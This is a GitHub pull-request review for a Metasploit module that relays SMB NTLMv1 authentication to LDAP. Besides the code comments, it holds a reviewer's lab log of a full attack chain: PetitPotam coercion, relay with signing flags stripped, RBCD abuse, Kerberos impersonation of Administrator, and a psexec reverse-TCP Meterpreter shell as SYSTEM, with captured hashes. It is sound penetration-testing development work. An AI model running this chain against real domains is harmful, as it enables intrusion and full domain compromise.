-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
SMB to LDAP relay module #19832
base: master
Are you sure you want to change the base?
SMB to LDAP relay module #19832
Conversation
@@ -99,7 +99,7 @@ def do_session_setup_smb2(request, session) | |||
response.smb2_header.nt_status = relay_result.nt_status.value | |||
if relay_result.nt_status == ::WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED | |||
response.smb2_header.nt_status = ::WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED.value | |||
response.buffer = relay_result.message.serialize | |||
response.buffer = relay_result.message.serialize if relay_result.message |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'm not sure why the NTLM type 2 message is not wrapped with GSS-API. I tried to do it but it fails, the client simply reset the connection. If anyone has any idea why?
response.buffer = ::RubySMB::Gss.gss_type2(relay_result.message.serialize) if relay_result.message
c093255
to
f839d58
Compare
datastore['RELAY_TARGETS'], | ||
datastore['TARGETURI'], | ||
randomize_targets: datastore['RANDOMIZE_TARGETS'], | ||
drop_mic_and_flags: true |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Does it make sense to split this out so they can be controlled individually? From your research do you think that'd be helpful in the future?
e.g.
drop_mic: true,
drop_flags: true
If it's not dropping all of the flags, it might also make sense to clarify which flag(s) are being dropped in the option.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Excellent work @cdelafuente-r7 and @smcintyre-r7, really cool stuff. A couple minor comments. Thanks for the detailed verification steps, everything worked as expected:
Testing
Start the relay server
msf6 auxiliary(server/relay/smb_to_ldap) > run
[*] Auxiliary module running as background job 2.
[*] SMB Server is running. Listening on 0.0.0.0:445
[*] Server started.
msf6 exploit(windows/smb/psexec) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
2 Auxiliary: server/relay/smb_to_ldap
Net use example:
net use \\172.16.199.1/foo /u:Administrator N0tpassword!
- msfconsole output:
msf6 auxiliary(server/relay/smb_to_ldap) >
[*] New request from 172.16.199.139
[*] Received request for \Administrator
[*] Relaying to next target ldap://172.16.199.200:389
[+] Identity: \Administrator - Successfully authenticated against relay target ldap://172.16.199.200:389
[SMB] NTLMv1-SSP Client : 172.16.199.200
[SMB] NTLMv1-SSP Username : \Administrator
[SMB] NTLMv1-SSP Hash : Administrator:::7f3d181906b7a3df00000000000000000000000000000000:3fa4e56e7d9be163b3be20d25481b836083e400c29499e9d:5bf1ae799e5c492c
[+] Relay succeeded
[*] LDAP session 1 opened (172.16.199.1:62270 -> 172.16.199.200:389) at 2025-01-28 10:03:36 -0800
[*] Received request for \Administrator
[*] Identity: \Administrator - All targets relayed to
[*] New request from 172.16.199.139
[*] Received request for \Administrator
[*] Identity: \Administrator - All targets relayed to
[*] Received request for \Administrator
[*] Identity: \Administrator - All targets relayed to
[*] Received request for \Administrator
[*] Identity: \Administrator - All targets relayed to
petitPotam
- Coerce authentication using a non-privileged Domain User account with PetitPotam:
msf6 auxiliary(scanner/dcerpc/petitpotam) > run
[*] 172.16.199.139:445 - Binding to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:172.16.199.139[\lsarpc] ...
[*] 172.16.199.139:445 - Bound to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:172.16.199.139[\lsarpc] ...
[*] 172.16.199.139:445 - Attempting to coerce authentication via EfsRpcOpenFileRaw
[*] 172.16.199.139:445 - Server responded with ERROR_ACCESS_DENIED (Access is denied.)
[*] 172.16.199.139:445 - Attempting to coerce authentication via EfsRpcEncryptFileSrv
[*] New request from 172.16.199.139
I, [2025-01-27T11:32:32.303889 #15522] INFO -- : Starting thread for connection from 172.16.199.139
I, [2025-01-27T11:32:32.321966 #15522] INFO -- : Negotiated dialect: SMB v2.0.2
D, [2025-01-27T11:32:32.324741 #15522] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)
D, [2025-01-27T11:32:32.328525 #15522] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 3533438535, user_id: nil, state: :in_progress>)
I, [2025-01-27T11:32:32.329131 #15522] INFO -- : NTLM authentication request overridden to succeed for KERBEROS\COMPUTER1$
D, [2025-01-27T11:32:32.332399 #15522] DEBUG -- : Dispatching request to do_tree_connect_smb2 (session: #<Session id: 3533438535, user_id: "KERBEROS\\COMPUTER1$", state: :valid>)
[*] Received request for KERBEROS\COMPUTER1$
[*] Relaying to next target ldap://172.16.199.200:389
D, [2025-01-27T11:32:32.337344 #15522] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 3533438535, user_id: "KERBEROS\\COMPUTER1$", state: :in_progress>)
I, [2025-01-27T11:32:32.337749 #15522] INFO -- : Relaying NTLM type 1 message to ldap://172.16.199.200:389 (Always Sign: true, Sign: true, Seal: false)
I, [2025-01-27T11:32:32.337933 #15522] INFO -- : Removing flags: `Always Sign`, `Sign` and `Key Exchange`
D, [2025-01-27T11:32:32.341748 #15522] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 3533438535, user_id: "KERBEROS\\COMPUTER1$", state: :in_progress>)
I, [2025-01-27T11:32:32.342476 #15522] INFO -- : Relaying NTLMv1 type 3 message to ldap://172.16.199.200:389 as KERBEROS\COMPUTER1$
I, [2025-01-27T11:32:32.342676 #15522] INFO -- : Removing flags: `Always Sign`, `Sign` and `Key Exchange`
[+] Identity: KERBEROS\COMPUTER1$ - Successfully authenticated against relay target ldap://172.16.199.200:389
[SMB] NTLMv1-SSP Client : 172.16.199.200
[SMB] NTLMv1-SSP Username : KERBEROS\COMPUTER1$
[SMB] NTLMv1-SSP Hash : COMPUTER1$::KERBEROS:2afd9c6b739b384c00000000000000000000000000000000:17c637cf6c058c891692386518090c39e7d0d054cc2c42cb:e3670e7cb8b0795a
[+] Relay succeeded
[*] LDAP session 3 opened (172.16.199.1:52256 -> 172.16.199.200:389) at 2025-01-27 11:32:32 -0800
D, [2025-01-27T11:32:32.607410 #15522] DEBUG -- : Dispatching request to do_tree_connect_smb2 (session: #<Session id: 3533438535, user_id: "KERBEROS\\COMPUTER1$", state: :valid>)
[*] Received request for KERBEROS\COMPUTER1$
[*] Identity: KERBEROS\COMPUTER1$ - All targets relayed to
D, [2025-01-27T11:32:32.608270 #15522] DEBUG -- : Received TREE_CONNECT request for share: IPC$
D, [2025-01-27T11:32:32.610985 #15522] DEBUG -- : Dispatching request to do_ioctl_smb2 (session: #<Session id: 3533438535, user_id: "KERBEROS\\COMPUTER1$", state: :valid>)
D, [2025-01-27T11:32:32.611266 #15522] DEBUG -- : Received IOCTL request for share: IPC$
D, [2025-01-27T11:32:32.613571 #15522] DEBUG -- : Dispatching request to do_logoff_smb2 (session: #<Session id: 3533438535, user_id: "KERBEROS\\COMPUTER1$", state: :valid>)
D, [2025-01-27T11:32:32.615357 #15522] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)
E, [2025-01-27T11:32:32.615596 #15522] ERROR -- : Failed to parse the ASN1-encoded authentication request (too long)
I, [2025-01-27T11:32:32.615851 #15522] INFO -- : Ending thread for connection from 172.16.199.139
[+] 172.16.199.139:445 - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
[*] 172.16.199.139:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/dcerpc/petitpotam) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
3 ldap LDAP COMPUTER1$ @ 172.16.199.200:389 172.16.199.1:52256 -> 172.16.199.200:389 (172.16.199.200)
Resource Based Constrained Delegation
- Create computer account:
msf6 auxiliary(admin/dcerpc/samr_account) > run action=add_computer account_name=rbcdtest account_password=N0tpassword! rhosts=172.16.199.200 smbdomain kerberos.issue smbpass=N0tpassword! smbuser=msfuser
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Adding computer
[+] 172.16.199.200:445 - Successfully created kerberos.issue\rbcdtest
[+] 172.16.199.200:445 - Password: N0tpassword!
[+] 172.16.199.200:445 - SID: S-1-5-21-2324486357-3075865580-3606784161-1603
[*] Auxiliary module execution completed
- Setup RBCD with the
admin/ldap/rbcd
module using the LDAP session
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=172.16.199.200 session=3 delegate_to=COMPUTER1 action=READ
[*] Running module against 172.16.199.200
[+] Successfully bound to the LDAP server via existing SESSION!
[*] Discovering base DN automatically
[*] The msDS-AllowedToActOnBehalfOfOtherIdentity field is empty.
[*] Auxiliary module execution completed
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=172.16.199.200 session=3 delegate_to=COMPUTER1 action=WRITE delegate_from=rbcdtest
[*] Running module against 172.16.199.200
[+] Successfully bound to the LDAP server via existing SESSION!
[*] Discovering base DN automatically
[+] Successfully created the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
[*] Added account:
[*] S-1-5-21-2324486357-3075865580-3606784161-1603 (rbcdtest)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=172.16.199.200 session=3 delegate_to=COMPUTER1 action=READ
[*] Running module against 172.16.199.200
[+] Successfully bound to the LDAP server via existing SESSION!
[*] Discovering base DN automatically
[*] Allowed accounts:
[*] S-1-5-21-2324486357-3075865580-3606784161-1603 (rbcdtest)
[*] Auxiliary module execution completed
- Get the Kerberos tickets using the
admin/kerberos/get_ticket
module
msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhost=172.16.199.200 username=rbcdtest password=N0tpassword! domain=kerberos.issue spn=cifs/COMPUTER1.kerberos.issue impersonate=Administrator
[*] Running module against 172.16.199.200
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250127173308_default_172.16.199.200_mit.kerberos.cca_556695.bin
[*] 172.16.199.200:88 - Getting TGS impersonating [email protected] (SPN: cifs/COMPUTER1.kerberos.issue)
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250127173308_default_172.16.199.200_mit.kerberos.cca_917786.bin
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250127173308_default_172.16.199.200_mit.kerberos.cca_548582.bin
- Code execution using
psexec
msf6 exploit(windows/smb/psexec) > klist
Kerberos Cache
==============
id host principal sname enctype issued status path
-- ---- --------- ----- ------- ------ ------ ----
1 172.16.199.200 [email protected] krbtgt/[email protected] AES256 2025-01-27 17:33:08 -0800 active /Users/jheysel/.msf4/loot/20250127173308_default_172.16.199.200_mit.kerberos.cca_556695.bin
2 172.16.199.200 [email protected] [email protected] AES256 2025-01-27 17:33:08 -0800 active /Users/jheysel/.msf4/loot/20250127173308_default_172.16.199.200_mit.kerberos.cca_917786.bin
3 172.16.199.200 [email protected] cifs/[email protected] AES256 2025-01-27 17:33:08 -0800 active /Users/jheysel/.msf4/loot/20250127173308_default_172.16.199.200_mit.kerberos.cca_548582.bin
msf6 exploit(windows/smb/psexec) > run lhost=172.16.199.1 rhost=172.16.199.139 username=administrator smb::auth=kerberos smb::rhostname=COMPUTER1.kerberos.issue domaincontrollerrhost=172.16.199.200 domain=kerberos.issue
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] 172.16.199.139:445 - Connecting to the server...
[*] 172.16.199.139:445 - Authenticating to 172.16.199.139:445|kerberos.issue as user 'administrator'...
[*] 172.16.199.139:445 - Using cached credential for cifs/[email protected] [email protected]
[*] 172.16.199.139:445 - Executing the payload...
[+] 172.16.199.139:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (177734 bytes) to 172.16.199.139
[*] Meterpreter session 4 opened (172.16.199.1:4444 -> 172.16.199.139:51317) at 2025-01-27 17:54:56 -0800
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : COMPUTER1
OS : Windows 10 (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : KERBEROS
Logged On Users : 7
Meterpreter : x86/windows
meterpreter >
meterpreter > bg
[*] Backgrounding session 4...
# @param [String] client_type3_msg | ||
# @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil] | ||
def relay_ntlmssp_type3(client_type3_msg) | ||
pdu = bind(method: :rex_relay_ntlm, ntlm_message: client_type3_msg) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Although the module docs clearly state that relaying won't work with NTLMv2, in case a user attempts this, it might be nice to notify them with a warning:
pdu = bind(method: :rex_relay_ntlm, ntlm_message: client_type3_msg) | |
ntlm_message = Net::NTLM::Message.parse(client_type3_msg) | |
if ntlm_message.ntlm_version == :ntlmv2 | |
logger.print_warning('Relay client\'s NTLM type 3 message is NTLMv2, relaying to LDAP will not work') | |
end | |
pdu = bind(method: :rex_relay_ntlm, ntlm_message: client_type3_msg) |
def relay_ntlmssp_type1(client_type1_msg) | ||
ntlm_message = Net::NTLM::Message.parse(client_type1_msg) | ||
if ntlm_message.has_flag?(:SIGN) | ||
logger.vprint_warning('Relay client\'s NTLM type 1 message requests signing, relaying to LDAP will not work') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If it's going to cause the relay to not work, should we print it regardless of the verbose flag being set?
logger.vprint_warning('Relay client\'s NTLM type 1 message requests signing, relaying to LDAP will not work') | |
logger.print_warning('Relay client\'s NTLM type 1 message requests signing, relaying to LDAP will not work') |
|
||
def relay_targets | ||
Msf::Exploit::Remote::SMB::Relay::TargetList.new( | ||
:ldap, # TODO: look into LDAPs |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If LDAPs support is possible will it be in a separate PR in the future?
## | ||
|
||
class MetasploitModule < Msf::Auxiliary | ||
include Msf::Exploit::Remote::SMB::RelayServer |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I found a tiny bug in our HashCapture
module which gets included by RelayServer
. Unrelated to this PR but figured I'd reference as I found it while testing: https://github.com/rapid7/metasploit-framework/pull/19842/files
super() | ||
|
||
targets = Rex::Socket::RangeWalker.new(targets).to_enum(:each_ip).map do |target_ip| | ||
Target.new( | ||
ip: target_ip, | ||
port: port, | ||
protocol: protocol, | ||
path: path | ||
path: path, | ||
drop_mic_and_flags: drop_mic_and_flags |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would it be possible to split mic
and flags
here.
@@ -0,0 +1,118 @@ | |||
## |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Maybe adding a check for the ldap session feature until it is enabled by default.
This module supports running an SMB server which validates credentials, and then attempts to execute a relay attack against an LDAP server on the configured
RELAY_TARGETS
hosts.It is not possible to relay NTLMv2 to LDAP due to the Message Integrity Check (MIC). As a result, this will only work with NTLMv1. The module takes care of removing the relevant flags to bypass signing.
If the relay succeeds, an LDAP session to the target will be created. This can be used by any modules that support LDAP sessions, like
admin/ldap/rbcd
orauxiliary/gather/ldap_query
.Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes. SMBv1 is not supported - please see #16261
Verification Steps
Lab setup
You will need a Domain Controller and a Domain-joined host:
Domain Computer <-> Metasploit framework <-> Domain Controller
Where:
The Domain Computer will need to be configured to use NTLMv1 by setting the following registry key to a value less or equal to 2:
Finally run the relay server on msfconsole, setting the
RELAY_TARGETS
option to the Domain Controller IP address.You will have to coerce the Domain Computer and force it to authenticate to the msfconsole server (see an example below).
Scenarios
Start the relay server
Net use example
A simple test would be using the Windows
net use
command:msfconsole output:
PetitPotam example
Coerce authentication using a non-privileged Domain User account with PetitPotam:
Exploit Resource-based Constrained Delegation (RBCD)
For details about RCBD, see https://docs.metasploit.com/docs/pentesting/active-directory/kerberos/rbcd.html#rbcd-exploitation
admin/dcerpc/samr_account
module and the same Domain User accountadmin/ldap/rbcd
module using the LDAP sessionadmin/kerberos/get_ticket
modulewindows/smb/psexec
module